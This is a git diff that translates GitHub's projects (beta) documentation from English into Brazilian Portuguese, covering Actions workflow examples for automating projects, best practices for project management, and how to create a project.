-This article assumes that you have a basic understanding of {% data variables.product.prodname_actions %}. For more information about {% data variables.product.prodname_actions %}, see "[{% data variables.product.prodname_actions %}](/actions)."
+Este artigo pressupõe que você tem um entendimento básico de {% data variables.product.prodname_actions %}. Para obter mais informações sobre {% data variables.product.prodname_actions %}, consulte "[{% data variables.product.prodname_actions %}](/actions).
 
-For more information about other changes you can make to your project through the API, see "[Using the API to manage projects](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)."
+Para obter mais informações sobre outras alterações que você pode fazer no seu projeto por meio da API, consulte "[Usando a API para gerenciar projetos](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)".
 
 {% note %}
 
-**Note:** `GITHUB_TOKEN` is scoped to the repository level and cannot access projects (beta). To access projects (beta) you can either create a {% data variables.product.prodname_github_app %} (recommended for organization projects) or a personal access token (recommended for user projects). Workflow examples for both approaches are shown below.
+**Observação:** `GITHUB_TOKEN` tem o escopo para o nível de repositório e não pode acessar projetos (beta). Para acessar projetos (beta) você pode criar um {% data variables.product.prodname_github_app %} (recomendado para projetos organizacionais) ou um token de acesso pessoal (recomendado para projetos de usuários). Exemplos de fluxo de trabalho para ambas as abordagens são mostrados abaixo.
 
 {% endnote %}
 
-### Example workflow authenticating with a {% data variables.product.prodname_github_app %}
+### Exemplo de fluxo de trabalho que efetua a autenticação com um {% data variables.product.prodname_github_app %}
 
-1. Create a {% data variables.product.prodname_github_app %} or choose an existing {% data variables.product.prodname_github_app %} owned by your organization. For more information, see "[Creating a {% data variables.product.prodname_github_app %}](/developers/apps/building-github-apps/creating-a-github-app)."
-2. Give your {% data variables.product.prodname_github_app %} read and write permissions to organization projects. For more information, see "[Editing a {% data variables.product.prodname_github_app %}'s permissions](/developers/apps/managing-github-apps/editing-a-github-apps-permissions)."
+1. Crie um {% data variables.product.prodname_github_app %} ou escolha um {% data variables.product.prodname_github_app %} existente pertencente à sua organização. Para obter mais informações, consulte "[Criando um {% data variables.product.prodname_github_app %}](/developers/apps/building-github-apps/creating-a-github-app)."
+2. Dê as suas permissões de leitura e gravação de {% data variables.product.prodname_github_app %} para projetos de organização. Para obter mais informações, consulte "[Editando as permissões de {% data variables.product.prodname_github_app %}de](/developers/apps/managing-github-apps/editing-a-github-apps-permissions)."
 
    {% note %}
 
-   **Note:** You can control your app's permission to organization projects and to repository projects. You must give permission to read and write organization projects; permission to read and write repository projects will not be sufficient.
+   **Observação:** Você pode controlar a permissão do seu aplicativo para projetos de organização e projetos de repositório. Você deve dar permissão de leitura e gravação de projetos de organização; a permissão de leitura e gravação para projetos de repositório não será suficiente.
 
    {% endnote %}
 
-3. Install the {% data variables.product.prodname_github_app %} in your organization. Install it for all repositories that your project needs to access. For more information, see "[Installing {% data variables.product.prodname_github_apps %}](/developers/apps/managing-github-apps/installing-github-apps#installing-your-private-github-app-on-your-repository)."
-4. Store your {% data variables.product.prodname_github_app %}'s ID as a secret in your repository or organization. In the following workflow, replace `APP_ID` with the name of the secret. You can find your app ID on the settings page for your app or through the App API. For more information, see "[Apps](/rest/reference/apps#get-an-app)."
-5. Generate a private key for your app. Store the contents of the resulting file as a secret in your repository or organization. (Store the entire contents of the file, including `-----BEGIN RSA PRIVATE KEY-----` and `-----END RSA PRIVATE KEY-----`.) In the following workflow, replace `APP_PEM` with the name of the secret. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)."
-6. In the following workflow, replace `YOUR_ORGANIZATION` with the name of your organization. For example, `octo-org`. Replace `YOUR_PROJECT_NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5.
+3. Instale o {% data variables.product.prodname_github_app %} na sua organização. Instale-o em todos os repositórios que o seu projeto precisa acessar. Para obter mais informações, consulte "[Instalando {% data variables.product.prodname_github_apps %}](/developers/apps/managing-github-apps/installing-github-apps#installing-your-private-github-app-on-your-repository)."
+4. Armazene o ID do seu {% data variables.product.prodname_github_app %} como um segredo no seu repositório ou organização. No fluxo de trabalho a seguir, substitua `APP_ID` pelo nome do segredo. Você pode encontrar o ID do seu aplicativo na página de configurações do seu aplicativo ou por meio da API do aplicativo. Para obter mais informações, consulte "[Aplicativos](/rest/reference/apps#get-an-app)".
+5. Gerar uma chave privada para o seu aplicativo. Armazene o conteúdo do arquivo resultante como um segredo no seu repositório ou organização. (Armazene todo o conteúdo do arquivo, incluindo `-----BEGIN RSA PRIVATE KEY-----` e `-----END RSA PRIVATE KEY-----`.) No fluxo de trabalho a seguir, substitua `APP_PEM` pelo nome do segredo. Para obter mais informações, consulte "[Efetuando a autenticação com o {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)".
+6. No fluxo de trabalho a seguir, substitua `YOUR_ORGANIZATION` pelo nome da sua organização. Por exemplo, `octo-org`. Substitua `YOUR_PROJECT_NUMBER` pelo número do seu projeto. Para encontrar o número do projeto, consulte a URL do projeto. Por exemplo, `https://github.com/orgs/octo-org/projects/5` tem um número de projeto de 5.
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -120,7 +120,7 @@ jobs:
                 }
               }
             }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectNextItem.projectNextItem.id')"
-          
+
           echo 'ITEM_ID='$item_id >> $GITHUB_ENV
 
       - name: Get date
@@ -162,11 +162,11 @@ jobs:
             }' -f project=$PROJECT_ID -f item=$ITEM_ID -f status_field=$STATUS_FIELD_ID -f status_value={% raw %}${{ env.TODO_OPTION_ID }}{% endraw %} -f date_field=$DATE_FIELD_ID -f date_value=$DATE --silent
 ```
 
-### Example workflow authenticating with a personal access token
+### Exemplo de fluxo de trabalho que efetua a autenticação com um token de acesso pessoal
 
-1. Create a personal access token with `org:write` scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
-2. Save the personal access token as a secret in your repository or organization.
-3. In the following workflow, replace `YOUR_TOKEN` with the name of the secret. Replace `YOUR_ORGANIZATION` with the name of your organization. For example, `octo-org`. Replace `YOUR_PROJECT_NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5.
+1. Crie um token de acesso pessoal com escopo `org:write`. Para obter mais informações, consulte "[Criando um token de acesso pessoal](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
+2. Salve o token de acesso pessoal como um segredo no seu repositório ou organização.
+3. No fluxo de trabalho a seguir, substitua `YOUR_TOKEN` pelo nome do segredo. Substitua `YOUR_ORGANIZATION` pelo nome da sua organização. Por exemplo, `octo-org`. Substitua `YOUR_PROJECT_NUMBER` pelo número do seu projeto. Para encontrar o número do projeto, consulte a URL do projeto. Por exemplo, `https://github.com/orgs/octo-org/projects/5` tem um número de projeto de 5.
 
 ```yaml{:copy}
 name: Add PR to project
@@ -218,7 +218,7 @@ jobs:
                 }
               }
             }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectNextItem.projectNextItem.id')"
-          
+
           echo 'ITEM_ID='$item_id >> $GITHUB_ENV
 
       - name: Get date
@@ -261,9 +261,9 @@ jobs:
 
 ```
 
-### Workflow explanation
+### Explicação do fluxo de trabalho
 
-The following table explains sections of the example workflows and shows you how to adapt the workflows for your own use.
+A tabela a seguir explica as seções dos fluxos de trabalho de exemplo e mostra como adaptar os fluxos de trabalho para seu próprio uso.
 
 <table class="table-fixed">
 
@@ -279,7 +279,7 @@ on:
 
 </td>
 <td>
-This workflow runs whenever a pull request in the repository is marked as "ready for review".
+Este fluxo de trabalho é executado sempre que um pull request no repositório for marcado como "pronto para revisão".
 </td>
 </tr>
 
@@ -299,13 +299,13 @@ This workflow runs whenever a pull request in the repository is marked as "ready
 
 </td>
 <td>
-Uses the <a href="https://github.com/tibdex/github-app-token">tibdex/github-app-token action</a> to generate an installation access token for your app from the app ID and private key. The installation access token is accessed later in the workflow as <code>{% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}</code>.
+Usa a ação <a href="https://github.com/tibdex/github-app-token">tibdex/github-app-token</a> para gerar um token de acesso da instalação para o seu aplicativo no ID do aplicativo e chave privada. O token de acesso da instalação é acessado mais adiante no fluxo de trabalho como <code>{% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}</code>.
 <br>
 <br>
-Replace <code>APP_ID</code> with the name of the secret that contains your app ID.
+Substitua <code>APP_ID</code> pelo nome do segredo que contém o ID do seu aplicativo.
 <br>
 <br>
-Replace <code>APP_PEM</code> with the name of the secret that contains your app private key.
+Substita <code>APP_PEM</code> pelo nome do segredo que contém a chave privada do seu aplicativo.
 </td>
 </tr>
 
@@ -332,16 +332,16 @@ env:
 
 </td>
 <td>
-Sets environment variables for this step.
+Define variáveis de ambiente para esta etapa.
 <br>
 <br>
-If you are using a personal access token, replace <code>YOUR_TOKEN</code> with the name of the secret that contains your personal access token.
+Se você estiver usando um token de acesso pessoal, substitua <code>YOUR_TOKEN</code> pelo nome do segredo que contém o seu token de acesso pessoal.
 <br>
 <br>
-Replace <code>YOUR_ORGANIZATION</code> with the name of your organization. For example, <code>octo-org</code>.
+Substitua <code>YOUR_ORGANIZATION</code> pelo nome da sua organização. Por exemplo, <code>octo-org</code>.
 <br>
 <br>
-Replace <code>YOUR_PROJECT_NUMBER</code> with your project number. To find the project number, look at the project URL. For example, <code>https://github.com/orgs/octo-org/projects/5</code> has a project number of 5.
+Substitua <code>YOUR_PROJECT_NUMBER</code> pelo número do seu projeto. Para encontrar o número do projeto, consulte a URL do projeto. Por exemplo, <code>https://github.com/orgs/octo-org/projects/5</code> tem um número de projeto de 5.
 </td>
 </tr>
 
@@ -368,7 +368,7 @@ gh api graphql -f query='
 
 </td>
 <td>
-Uses <a href="https://cli.github.com/manual/">{% data variables.product.prodname_cli %}</a> to query the API for the ID of the project and for the ID, name, and settings for the first 20 fields in the project. The response is stored in a file called <code>project_data.json</code>.
+Usa <a href="https://cli.github.com/manual/">{% data variables.product.prodname_cli %}</a> para consultar a API para o ID do projeto e para o ID, nome e configurações para os primeiros 20 campos do projeto. A resposta é armazenada em um arquivo denominado <code>project_data.json</code>.
 </td>
 </tr>
 
@@ -384,12 +384,12 @@ echo 'TODO_OPTION_ID='$(jq '.data.organization.projectNext.fields.nodes[] | sele
 
 </td>
 <td>
-Parses the response from the API query and stores the relevant IDs as environment variables. Modify this to get the ID for different fields or options. For example:
+Analisa a resposta da consulta da API e armazena os IDs relevantes como variáveis de ambiente. Modifique este ID para obter o ID para diferentes campos ou opções. Por exemplo:
 <ul>
-<li>To get the ID of a field called <code>Team</code>, add <code>echo 'TEAM_FIELD_ID='$(jq '.data.organization.projectNext.fields.nodes[] | select(.name== "Team") | .id' project_data.json) >> $GITHUB_ENV</code>.</li>
-<li>To get the ID of an option called <code>Octoteam</code> for the <code>Team</code> field, add <code>echo 'OCTOTEAM_OPTION_ID='$(jq '.data.organization.projectNext.fields.nodes[] | select(.name== "Team") |.settings | fromjson.options[] | select(.name=="Octoteam") |.id' project_data.json) >> $GITHUB_ENV</code></li>
+<li>Para obter o ID de um campo denominado <code>Team</code>, adicione <code>echo 'TEAM_FIELD_ID='$(jq '.data.organization.projectNext.fields.nodes[] | select(.name== "Team") | .id' project_data.json) >> $GITHUB_ENV</code>.</li>
+<li>Para obter o ID de uma opção denominada <code>Octoteam</code> para o campo <code>Team</code>, adicione <code>echo 'OCTOTEAM_OPTION_ID='$(jq '.data.organization.projectNext.fields.nodes[] | select(.name== "Team") |.settings | fromjson.options[] | select(.name=="Octoteam") |.id' project_data.json) >> $GITHUB_ENV</code></li>
 </ul>
-<strong>Note: </strong>This workflow assumes that you have a project with a single select field called "Status" that includes an option called "Todo" and a date field called "Date posted". You must modify this section to match the fields that are present in your table.
+<strong>Observação: </strong>Este fluxo de trabalho pressupõe que você tem um projeto com um único campo selecionado denominado "Status" que inclui uma opção denominada "Todo" e um campo de data denominado "Date posted". Você deve modificar esta seção para corresponder aos campos presentes na sua tabela.
 </td>
 </tr>
 
@@ -414,7 +414,7 @@ env:
 
 </td>
 <td>
-Sets environment variables for this step. <code>GITHUB_TOKEN</code> is described above. <code>PR_ID</code> is the ID of the pull request that triggered this workflow.
+Define variáveis de ambiente para esta etapa. <code>GITHUB_TOKEN</code> está descrito acima. <code>PR_ID</code> é o ID do pull request que acionou este fluxo de trabalho.
 
 </td>
 </tr>
@@ -435,7 +435,7 @@ item_id="$( gh api graphql -f query='
 
 </td>
 <td>
-Uses <a href="https://cli.github.com/manual/">{% data variables.product.prodname_cli %}</a> and the API to add the pull request that triggered this workflow to the project. The <code>jq</code> flag parses the response to get the ID of the created item.
+Usa <a href="https://cli.github.com/manual/">{% data variables.product.prodname_cli %}</a> e a API para adicionar o pull request que acionou este fluxo de trabalho ao projeto. O <code>jq</code> analisa a resposta para obter o ID do item criado.
 </td>
 </tr>
 
@@ -448,7 +448,7 @@ echo 'ITEM_ID='$item_id >> $GITHUB_ENV
 
 </td>
 <td>
-Stores the ID of the created item as an environment variable.
+Armazena o ID do item criado como uma variável de ambiente.
 </td>
 </tr>
 
@@ -461,7 +461,7 @@ echo "DATE=$(date +"%Y-%m-%d")" >> $GITHUB_ENV
 
 </td>
 <td>
-Saves the current date as an environment variable in <code>yyyy-mm-dd</code> format.
+Salva a data atual como uma variável de ambiente no formato <code>yyyy-mm-dd</code>.
 </td>
 </tr>
 
@@ -484,7 +484,7 @@ env:
 
 </td>
 <td>
-Sets environment variables for this step. <code>GITHUB_TOKEN</code> is described above.
+Define variáveis de ambiente para esta etapa. <code>GITHUB_TOKEN</code> está descrito acima.
 
 </td>
 </tr>
@@ -527,8 +527,8 @@ gh api graphql -f query='
 
 </td>
 <td>
-Sets the value of the <code>Status</code> field to <code>Todo</code>. Sets the value of the <code>Date posted</code> field.
+Define o valor do campo <code>Status</code> como <code>Todo</code>. Define o valor do campo <code>Date posted</code>.
 </td>
 </tr>
 
-</table>
\ No newline at end of file
+</table>
diff --git a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md
index ad79f17b59..a3a9adf336 100644
--- a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md
+++ b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md
@@ -1,6 +1,6 @@
 ---
-title: Best practices for managing projects (beta)
-intro: 'Learn tips for managing your projects on {% data variables.product.company_short %}.'
+title: Práticas recomendadas para gerenciar projetos (beta)
+intro: 'Aprenda dicas para gerenciar seus projetos em {% data variables.product.company_short %}.'
 allowTitleToDifferFromFilename: true
 miniTocMaxHeadingLevel: 3
 versions:
@@ -15,54 +15,54 @@ topics:
 
 {% data reusables.projects.projects-beta %}
 
-You can use projects to manage your work on {% data variables.product.company_short %}, where your issues and pull requests live. Read on for tips to manage your projects efficiently and effectively. For more information about projects, see "[About projects](/issues/trying-out-the-new-projects-experience/about-projects)."
+Você pode usar os projetos para gerenciar seu trabalho em {% data variables.product.company_short %}, onde os seus problemas e pull requests são gerados. Leia sobre as dicas para gerenciar seus projetos de forma eficiente e eficaz. Para obter mais informações sobre projetos, consulte "[Sobre projetos](/issues/trying-out-the-new-projects-experience/about-projects)".
 
-## Break down large issues into smaller issues
+## Dividir problemas grandes em problemas menores
 
-Breaking a large issue into smaller issues makes the work more manageable and enables team members to work in parallel. It also leads to smaller pull requests, which are easier to review.
+Dividir um problema grande em problemas menores torna o trabalho mais gerenciável e permite que os integrantes da equipe trabalhem em paralelo. Isso também gera pull requests menores, que são mais fáceis de revisar.
 
-To track how smaller issues fit into the larger goal, use task lists, milestones, or labels. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)", "[About milestones](/issues/using-labels-and-milestones-to-track-work/about-milestones)", and "[Managing labels](/issues/using-labels-and-milestones-to-track-work/managing-labels)."
+Para acompanhar como os problemas menores encaixam-se na meta maior, use a lista de tarefas, marcos ou etiquetas. Para obter mais informações, consulte "[Sobre listas de tarefas](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)", "[Sobre marcos](/issues/using-labels-and-milestones-to-track-work/about-milestones)" e "[Gerenciando etiquetas](/issues/using-labels-and-milestones-to-track-work/managing-labels)".
 
-## Communicate
+## Comunicar
 
-Issues and pull requests include built-in features to let you easily communicate with your collaborators. Use @mentions to alert a person or entire team about a comment. Assign collaborators to issues to communicate responsibility. Link to related issues or pull requests to communicate how they are connected.
+Os problemas e pull requests incluem funcionalidades embutidas para permitir que você se comunique facilmente com os seus colaboradores. Use @menções para alertar uma pessoa ou uma equipe inteira sobre um comentário. Atribua colaboradores a problemas para comunicar responsabilidade. Vincule a problemas relacionados ou pull requests para comunicar como eles estão conectados.
 
-## Use views
+## Usar visualizações
 
-Use project views to look at your project from different angles.
+Use as visualizações do projeto para ver o seu projeto de ângulos diferentes.
 
-For example:
+Por exemplo:
 
-- Filter by status to view all un-started items
-- Group by a custom priority field to monitor the volume of high priority items
-- Sort by a custom date field to view the items with the earliest target ship date
+- Filtrar por status para visualizar todos os itens não iniciados
+- Agrupar por um campo personalizado de prioridade para monitorar o volume de itens de alta prioridade
+- Ordenar por um campo de data personalizado para exibir os itens com a data de envio mais recente
 
-For more information, see "[Customizing your project views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)."
+Para obter mais informações, consulte "[Personalizar as visualizações do seu projeto](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)".
 
-## Have a single source of truth
+## Tenha uma única fonte de verdade
 
-To prevent information from getting out of sync, maintain a single source of truth. For example, track a target ship date in a single location instead of spread across multiple fields. Then, if the target ship date shifts, you only need to update the date in one location.
+Para evitar que as informações não fiquem sincronizadas, mantenha uma única fonte de verdade. Por exemplo, monitore uma data de envio em um único local, em vez de se espalhar por vários campos. Posteriormente, se a data de envio for alterada, você deverá apenas atualizar a data em um só lugar.
 
-{% data variables.product.company_short %} projects automatically stay up to date with {% data variables.product.company_short %} data, such as assignees, milestones, and labels. When one of these fields changes in an issue or pull request, the change is automatically reflected in your project.
+Os projetos de {% data variables.product.company_short %} ficam automaticamente atualizados com os dados de {% data variables.product.company_short %}, como os responsáveis, marcos e etiquetas. Quando um desses campos é alterado em um problema ou pull request, a alteração é refletida automaticamente no seu projeto.
 
-## Use automation
+## Usar automação
 
-You can automate tasks to spend less time on busy work and more time on the project itself. The less you need to remember to do manually, the more likely your project will stay up to date.
+Você pode automatizar as tarefas para gastar menos tempo com trabalho e mais tempo no próprio projeto. Quanto menos você precisar se lembrar de fazer manualmente, mais provável será que o seu projeto fique atualizado.
 
-Projects (beta) offers built-in workflows. For example, when an issue is closed, you can automatically set the status to "Done."
+Os projetos (beta) oferecem fluxos de trabalho integrados. Por exemplo, quando um problema é fechado, você pode definir automaticamente o status como "Concluído".
 
-Additionally, {% data variables.product.prodname_actions %} and the GraphQL API enable you to automate routine project management tasks. For example, to keep track of pull requests awaiting review, you can create a workflow that adds a pull request to a project and sets the status to "needs review"; this process can be automatically triggered when a pull request is marked as "ready for review."
+Além disso, {% data variables.product.prodname_actions %} e a API do GraphQL permitem que você automatize as tarefas de gerenciamento de projetos rotineiros. Por exemplo, para manter o controle de pull requests que estão aguardando revisão, você pode criar um fluxo de trabalho que adiciona um pull request a um projeto e define o status para "precisa de revisão"; este processo pode ser acionado automaticamente quando um pull request é marcado como "pronto para revisão."
 
-- For an example workflow, see "[Automating projects](/issues/trying-out-the-new-projects-experience/automating-projects)."
-- For more information about the API, see "[Using the API to manage projects](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)."
-- For more information about {% data variables.product.prodname_actions %}, see ["{% data variables.product.prodname_actions %}](/actions)."
+- Para obter um exemplo de fluxo de trabalho, consulte "[Automatizando projetos](/issues/trying-out-the-new-projects-experience/automating-projects)".
+- Para obter mais informações sobre a API, consulte "[Usando a API para gerenciar projetos](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)".
+- Para obter mais informações sobre {% data variables.product.prodname_actions %}, consulte ["{% data variables.product.prodname_actions %}](/actions)".
 
-## Use different field types
+## Usar diferentes tipos de campos
 
-Take advantage of the various field types to meet your needs.
+Aproveite os vários tipos de campo para atender às suas necessidades.
 
-Use an iteration field to schedule work or create a timeline. You can group by iteration to see if items are balanced between iterations, or you can filter to focus on a single iteration. Iteration fields also let you view work that you completed in past iterations, which can help with velocity planning and reflecting on your team's accomplishments.
+Use um campo de iteração para agendar o trabalho ou criar uma linha do tempo. Você pode agrupar por iteração para ver se os itens estão equilibrados entre iterações, ou você pode filtrar para focar em uma única iteração. Os campos de iteração também permitem ver o trabalho que você realizou em iterações anteriores, o que pode ajudar no planejamento de velocidade e refletir sobre as realizações da sua equipe.
 
-Use a single select field to track information about a task based on a preset list of values. For example, track priority or project phase. Since the values are selected from a preset list, you can easily group or filter to focus on items with a specific value.
+Use um único campo de seleção para rastrear informações sobre uma tarefa com base em uma lista de valores predefinidos. Por exemplo, monitore a prioridade ou a fase do projeto. Como os valores são selecionados a partir de uma lista predefinida, você pode facilmente agrupar ou filtrar focar em itens com um valor específico.
 
-For more information about the different field types, see "[Creating a project (beta)](/issues/trying-out-the-new-projects-experience/creating-a-project#adding-custom-fields)."
+Para obter mais informações sobre os diferentes tipos de campos, consulte "[Criando um projeto (beta)](/issues/trying-out-the-new-projects-experience/creating-a-project#adding-custom-fields)".
diff --git a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/creating-a-project.md b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/creating-a-project.md
index c3e5acb974..cbd242e05b 100644
--- a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/creating-a-project.md
+++ b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/creating-a-project.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a project (beta)
-intro: 'Learn how to make a project, populate it, and add custom fields.'
+title: Criando um projeto (beta)
+intro: 'Aprenda a criar um projeto, preencher e adicionar campos personalizados.'
 allowTitleToDifferFromFilename: true
 miniTocMaxHeadingLevel: 3
 versions:
@@ -11,142 +11,140 @@ topics:
   - Projects
 ---
 
-Projects are a customizable collection of items that stay up-to-date with {% data variables.product.company_short %} data. Your projects can track issues, pull requests, and ideas that you jot down. You can add custom fields and create views for specific purposes.
+Os projetos são uma coleção personalizável de itens que se mantêm atualizados com os dados do {% data variables.product.company_short %}. Seus projetos podem rastrear problemas, pull requests, e ideias que você anotar. Você pode adicionar campos personalizados e criar visualizações para fins específicos.
 
 {% data reusables.projects.projects-beta %}
 
-## Creating a project
+## Criando um projeto
 
-### Creating an organization project
+### Criando um projeto de organização
 
 {% data reusables.projects.create-project %}
 
-### Creating a user project
+### Criando um projeto de usuário
 
 {% data reusables.projects.create-user-project %}
 
-## Adding items to your project
+## Adicionando itens ao seu projeto
 
-Your project can track draft issues, issues, and pull requests.
+Seu projeto pode acompanhar os rascunhos de problemas, problemas e pull requests.
 
-### Creating draft issues
+### Criando problemas de rascunho
 
-Draft issues are useful to quickly capture ideas.
+Os rascunhos são úteis para capturar ideias rapidamente.
 
-1. Place your cursor in the bottom row of the project, next to the {% octicon "plus" aria-label="plus icon" %}.
-2. Type your idea, then press **Enter**.
+1. Coloque seu cursor na linha inferior do projeto, ao lado do {% octicon "plus" aria-label="plus icon" %}.
+2. Digite sua ideia e, em seguida, pressione **Enter**.
 
-You can convert draft issues into issues. For more information, see [Converting draft issues to issues](#converting-draft-issues-to-issues).
+Você pode converter rascunhos de problemas em problemas. Para obter mais informações, consulte [Convertendo rascunhos de problema em problemas](#converting-draft-issues-to-issues).
 
-### Issues and pull requests
+### Problemas e pull requests
 
-#### Paste the URL of an issue or pull request
+#### Cole a URL de um problema ou pull request
 
-1. Place your cursor in the bottom row of the project, next to the {% octicon "plus" aria-label="plus icon" %}.
-1. Paste the URL of the issue or pull request.
+1. Coloque seu cursor na linha inferior do projeto, ao lado do {% octicon "plus" aria-label="plus icon" %}.
+1. Cole a URL do problema ou pull request.
 
-#### Searching for an issue or pull request
+#### Pesquisando um problema ou pull request
 
-1. Place your cursor in the bottom row of the project, next to the {% octicon "plus" aria-label="plus icon" %}.
-2. Enter `#`.
-3. Select the repository where the pull request or issue is located. You can type part of the repository name to narrow down your options.
-4. Select the issue or pull request. You can type part of the title to narrow down your options.
+1. Coloque seu cursor na linha inferior do projeto, ao lado do {% octicon "plus" aria-label="plus icon" %}.
+2. Digite `#`.
+3. Selecione o repositório onde está localizado o pull request ou problema. Você pode digitar parte do nome do repositório para restringir suas opções.
+4. Selecione o problema ou pull request. Você pode digitar parte do título para restringir suas opções.
 
-#### Assigning a project from within an issue or pull request
+#### Atribuindo um projeto de dentro de um problema ou pull request
 
-1. Navigate to the issue or pull request that you want to add to a project.
-2. In the side bar, click **Projects**.
-3. Select the project that you want to add the issue or pull request to.
-4. Optionally, populate the custom fields.
+1. Acesse o problema ou pull request que você deseja adicionar a um projeto.
+2. Na barra lateral, clique em **Projetos**.
+3. Selecione o projeto ao qual você deseja adicionar o problema ou pull request.
+4. Opcionalmente, preencha os campos personalizados.
 
-   ![Project sidebar](/assets/images/help/issues/project_side_bar.png)
+   ![Barra lateral do projeto](/assets/images/help/issues/project_side_bar.png)
 
-## Converting draft issues to issues
+## Convertendo rascunhos de problemas em problemas
 
-In table layout:
+No layout de tabela:
 
-1. Click the {% octicon "triangle-down" aria-label="the item menu" %} on the draft issue that you want to convert.
-2. Select **Convert to issue**.
-3. Select the repository that you want to add the issue to.
-4. Alternatively, edit the `assignee`, `labels`, `milestone`, or `repository` fields of the draft issue that you want to convert.
+1. Clique em {% octicon "triangle-down" aria-label="the item menu" %} no rascunho do problema que você deseja converter.
+2. Selecione **Converter para problema**.
+3. Selecione o repositório ao qual você deseja adicionar o problema.
+4. Como alternativa, edite os campos `responsável`, `etiquetas`, `marco` ou `repository` do rascunho do problema que você deseja converter.
 
-In board layout:
+Layout do quadro:
 
-1. Click the {% octicon "kebab-horizontal" aria-label="the item menu" %} on the draft issue that you want to convert.
-2. Select **Convert to issue**.
-3. Select the repository that you want to add the issue to.
+1. Clique em {% octicon "kebab-horizontal" aria-label="the item menu" %} no rascunho do problema que você deseja converter.
+2. Selecione **Converter para problema**.
+3. Selecione o repositório ao qual você deseja adicionar o problema.
 
-## Removing items from your project
+## Removendo itens do seu projeto
 
-You can archive an item to keep the context about the item in the project but remove it from the project views. You can delete an item to remove it from the project entirely.
+Você pode arquivar um item para manter o contexto sobre o item no projeto, mas removê-lo das visualizações do projeto. Você pode excluir um item para removê-lo do projeto completamente.
 
-1. Select the item(s) to archive or delete. To select multiple items, do one of the following:
-     - `cmd + click` (Mac) or `ctrl + click` (Windows/Linux) each item.
-     - Select an item then `shift + arrow-up` or `shift + arrow-down` to select additional items above or below the initially selected item.
-     - Select an item then `shift + click` another item to select all items between the two items.
-     - Enter `cmd + a` (Mac) or `ctrl + a` (Windows/Linux) to select all items in a column in a board layout or all items in a table layout.
-2. To archive all selected items, enter `e`. To delete all selected items, enter `del`. Alternatively, select the {% octicon "triangle-down" aria-label="the item menu" %} (in table layout) or the {% octicon "kebab-horizontal" aria-label="the item menu" %} (in board layout), then select the desired action.
+1. Selecione o(s) item(ns) para arquivar ou excluir. Para selecionar múltiplos itens, siga um dos passos a seguir:
+     - `cmd + click` (Mac) ou `ctrl + clique ` (Windows/Linux) em cada item.
+     - Selecione um item e, em seguida, `shift + setas para cima` ou `shift + seta para baixo` para selecionar itens adicionais acima ou abaixo do item selecionado inicialmente.
+     - Selecione um item e, em seguida, `shift + clique` em outro item para selecionar todos os itens entre os dois itens.
+     - Insira `cmd + um` (Mac) ou `ctrl + a` (Windows/Linux) para selecionar todos os itens em uma coluna em um layout do quadro ou em um layout da tabela.
+2. Para arquivar todos os itens selecionados, digite `e`. Para excluir todos os itens selecionados, digite `del`. Como alternativa, selecione o {% octicon "triangle-down" aria-label="the item menu" %} (no layout de tabela) ou o {% octicon "kebab-horizontal" aria-label="the item menu" %} (no layout do quadro) e, em seguida, selecione a ação desejada.
 
-You can restore archived items but not deleted items. For more information, see [Restoring archived items](#restoring-archived-items).
+Você pode restaurar itens arquivados, mas não itens excluídos. Para obter mais informações, consulte [Restaurando itens arquivados](#restoring-archived-items).
 
-## Restoring archived items
+## Restaurando itens arquivados
 
-To restore an archived item, navigate to the issue or pull request. In the project side bar on the issue or pull request, click **Restore** for the project that you want to restore the item to. Draft issues cannot be restored.
+Para restaurar um item arquivado, acesse o problema ou pull request. Na barra lateral do projeto no problema ou pull request, clique em **Restaurar** para o projeto para o qual você deseja restaurar o item. Os rascunhos de problemas não podem ser restaurados.
 
-## Adding fields
+## Adicionando campos
 
-As field values change, they are automatically synced so that your project and the items that it tracks are up-to-date.
+Como os valores do campo mudam, eles são sincronizados automaticamente para que o seu projeto e os itens que ele rastreia fiquem atualizados.
 
-### Showing existing fields
+### Mostrando campos existentes
 
-Your project tracks up-to-date information about  issues and pull requests, including any changes to the title, assignees, labels, milestones, and repository. When your project initializes, "title" and "assignees" are displayed; the other fields are hidden. You can change the visibility of these fields in your project.
+O seu projeto rastreia informações atualizadas sobre issues e pull requests, incluindo todas as alterações no título, responsáveis, etiquetas, marcos e repositório. Quando seu projeto é inicializado, são exibidos "título" e "responsáveis". Os outros campos permanecem ocultos. Você pode alterar a visibilidade desses campos no seu projeto.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "show".
-3. Select the desired command (for example: "Show: Repository").
+2. Comece a digitar "mostrar".
+3. Selecione o comando desejado (por exemplo: "Mostrar: Repositório").
 
